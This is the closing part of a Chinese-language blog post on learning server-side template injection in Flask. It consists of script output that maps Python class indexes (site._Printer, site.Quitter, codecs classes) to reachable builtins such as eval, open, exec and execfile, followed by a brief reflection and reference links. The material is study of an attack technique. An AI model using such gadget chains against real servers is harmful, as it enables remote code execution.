(72, 23, <class 'site._Printer'>, 'file')
(72, 23, <class 'site._Printer'>, 'eval')
(72, 23, <class 'site._Printer'>, 'open')
(72, 23, <class 'site._Printer'>, 'execfile')
(77, 20, <class 'site.Quitter'>, 'file')
(77, 20, <class 'site.Quitter'>, 'exec')
(77, 23, <class 'site.Quitter'>, 'file')
(77, 23, <class 'site.Quitter'>, 'eval')
(77, 23, <class 'site.Quitter'>, 'open')
(77, 23, <class 'site.Quitter'>, 'execfile')
(78, 21, <class 'codecs.IncrementalEncoder'>, 'open')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'file')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'eval')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'open')
(78, 23, <class 'codecs.IncrementalEncoder'>, 'execfile')
(79, 21, <class 'codecs.IncrementalDecoder'>, 'open')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'file')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'eval')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'open')
(79, 23, <class 'codecs.IncrementalDecoder'>, 'execfile')
----------4-----------
(60, 'file')
(60, 'repr')
(60, 'eval')
(60, 'open')
(60, 'execfile')

小结:

梳理了一遍以后,感觉其实ssti注入也不难,难的是一开始面对啥也不懂的手足无措,不知道从哪入手,现在可能还是有一些小点不是很懂,但是终于是没那么陌生了

参考:https://xz.aliyun.com/t/6885#toc-1
https://www.anquanke.com/post/id/226900#h3-14
https://xz.aliyun.com/t/3679#toc-9
https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E5%8A%A8%E6%89%8B%E5%AE%9E%E8%B7%B5
https://xz.aliyun.com/t/8029#toc-7
https://www.freebuf.com/articles/network/258136.html
https://juejin.cn/post/6908600736754434056#heading-13

Author

vague huang

Posted on

2021-02-28

Updated on

2022-08-14

Licensed under

Comments